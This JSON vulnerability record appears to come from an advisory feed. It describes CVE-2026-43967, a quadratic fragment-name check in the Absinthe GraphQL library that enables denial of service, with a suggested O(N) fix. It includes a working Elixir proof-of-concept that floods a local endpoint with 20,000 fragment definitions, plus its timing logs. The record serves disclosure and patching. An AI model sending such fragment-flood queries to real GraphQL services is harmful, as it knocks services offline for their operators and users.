{"id":"CVE-2026-43967","aliases":["EEF-CVE-2026-43967","GHSA-9mhv-8h52-q7q2"],"url":"https://o3.security/vulnerability/CVE-2026-43967","summary":"Quadratic fragment-name uniqueness check causes denial of service in absinthe","details":"### Summary\nAn unauthenticated attacker can stall an Absinthe-backed GraphQL endpoint by submitting a query that contains many fragment definitions. The fragment-name uniqueness validation phase is O(N²) in the number of fragments, so a single modestly-sized request burns seconds of CPU per worker, and sustained traffic exhausts the worker pool (denial of service).\n\nIntroduced like with https://github.com/absinthe-graphql/absinthe/commit/0b46e3bcc06c0d3797bacd64761b908a84646c1d#diff-e540120c6a98cc1013be110d08e9d029511b9aabd26ad5f7f643c36834caac14\n\n### Details\n`Absinthe.Phase.Document.Validation.UniqueFragmentNames` (`lib/absinthe/phase/document/validation/unique_fragment_names.ex:14-40`) walks every fragment in `input.fragments` via `run/2`, calling `process/2` on each one. `process/2` then calls `duplicate?/2`, which evaluates `Enum.count(fragments, fn f -> f.name == name end)` — a full linear scan of the fragment list — for every individual fragment. The result is `N · N` name comparisons per document.\n\n`input.fragments` is built directly from the GraphQL query text the caller sends at the head of the pipeline, so `N` is attacker-controlled. A minimum-size fragment definition (`fragment a on T{f}`) is roughly 16 bytes, so a ~1 MB document carries ~60 000 fragments and forces ~3.6 × 10⁹ comparisons inside this one phase. Phoenix's default 8 MB body limit allows substantially larger blow-ups if operators have not lowered it. Nothing in this module caps `N`.\n\nThe fix is to aggregate names once per call rather than re-scanning per fragment, e.g.:\n\n```elixir\ndups =\n  for {name, k} <- Enum.frequencies_by(input.fragments, & &1.name),\n      k > 1,\n      into: MapSet.new(),\n      do: name\n```\n\nand then check `MapSet.member?(dups, fragment.name)` inside `process/2`. That collapses the phase to O(N).\n\n### PoC\nA standalone script that builds a GraphQL document with a large number of minimal fragment definitions, feeds it through Absinthe's pipeline, and times the `UniqueFragmentNames` phase is attached at the end of this report. Running it shows the validation time growing quadratically with the fragment count.\n\n### Impact\nAlgorithmic complexity / denial-of-service. Any service that exposes an Absinthe GraphQL endpoint to untrusted callers is affected: a single unauthenticated POST containing many fragment definitions pins a worker process for seconds, and modest sustained traffic exhausts the request-handling pool. No authentication, schema knowledge, or special configuration is required — only the ability to send a GraphQL query large enough to contain many fragments, which is permitted by Phoenix's default body-size limit.\n\n## Scripts and Logs\n\n```elixir\n# Verifies: Quadratic fragment-name uniqueness check\n\nMix.install([\n  {:absinthe, \"~> 1.7\"},\n  {:absinthe_plug, \"~> 1.5\"},\n  {:bandit, \"~> 1.0\"},\n  {:plug, \"~> 1.15\"},\n  {:jason, \"~> 1.4\"},\n  {:req, \"~> 0.5\"}\n])\n\ndefmodule VictimSchema do\n  use Absinthe.Schema\n\n  object :thing do\n    field :f, :string\n  end\n\n  query do\n    field :thing, :thing do\n      resolve(fn _, _ -> {:ok, %{f: \"x\"}} end)\n    end\n  end\nend\n\ndefmodule VictimRouter do\n  use Plug.Router\n\n  plug :match\n\n  plug Plug.Parsers,\n    parsers: [:json],\n    pass: [\"*/*\"],\n    json_decoder: Jason\n\n  plug :dispatch\n\n  forward \"/graphql\",\n    to: Absinthe.Plug,\n    init_opts: [schema: VictimSchema]\n\n  match _ do\n    send_resp(conn, 404, \"nope\")\n  end\nend\n\nport = 47817\n{:ok, _} = Bandit.start_link(plug: VictimRouter, port: port)\n\nn = 20_000\n\nfragments =\n  1..n\n  |> Enum.map(fn i -> \"fragment f#{i} on Thing{f}\" end)\n  |> Enum.join(\" \")\n\nquery = \"{ thing { f } } \" <> fragments\n\nIO.puts(\n  \"Sending GraphQL document with #{n} fragment definitions (~#{div(byte_size(query), 1024)} KB) to 127.0.0.1:#{port}\"\n)\n\n{us, response} =\n  :timer.tc(fn ->\n    Req.post!(\"http://127.0.0.1:#{port}/graphql\",\n      json: %{query: query},\n      receive_timeout: 600_000,\n      retry: false\n    )\n  end)\n\nms = div(us, 1000)\nIO.puts(\"HTTP response status: #{response.status}\")\nIO.puts(\"Total request elapsed (validation-dominated): #{ms} ms\")\n\nresult =\n  if ms > 1000 do\n    \"VERIFIED: ~#{n} fragments in one unauthenticated request forced #{ms} ms of CPU in Absinthe's UniqueFragmentNames phase (quadratic check).\"\n  else\n    \"NOT VERIFIED: elapsed #{ms} ms below DoS threshold\"\n  end\n\nIO.puts(result)\n```\n\n\n### Logs\n\n```logs\nHTTP response status: 200\nTotal request elapsed (validation-dominated): 15451 ms\nVERIFIED: ~20000 fragments in one unauthenticated request forced 15451 ms of CPU in Absinthe's UniqueFragmentNames phase (quadratic check).\n```","published":"2026-05-08T15:42:34.347Z","modified":"2026-08-12T03:51:46.390575257Z","cvss":null,"epss":{"score":0.00624,"percentile":0.47189,"asOf":"2026-08-24"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Hex","name":"absinthe","fixedVersion":"1.10.2"}],"fix":{"url":"https://github.com/absinthe-graphql/absinthe/commit/223600c520493dcaf95080af552c413099f92c9d","label":"absinthe-graphql/absinthe@223600c"},"references":[{"type":"WEB","url":"https://cna.erlef.org/cves/CVE-2026-43967.html"},{"type":"WEB","url":"https://github.com"},{"type":"WEB","url":"https://osv.dev/vulnerability/EEF-CVE-2026-43967"},{"type":"WEB","url":"https://repo.hex.pm"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/43xxx/CVE-2026-43967.json"},{"type":"ADVISORY","url":"https://github.com/absinthe-graphql/absinthe/security/advisories/GHSA-9mhv-8h52-q7q2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-43967"},{"type":"FIX","url":"https://github.com/absinthe-graphql/absinthe/commit/223600c520493dcaf95080af552c413099f92c9d"},{"type":"PACKAGE","url":"https://github.com/absinthe-graphql/absinthe"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:46.390575257Z"}}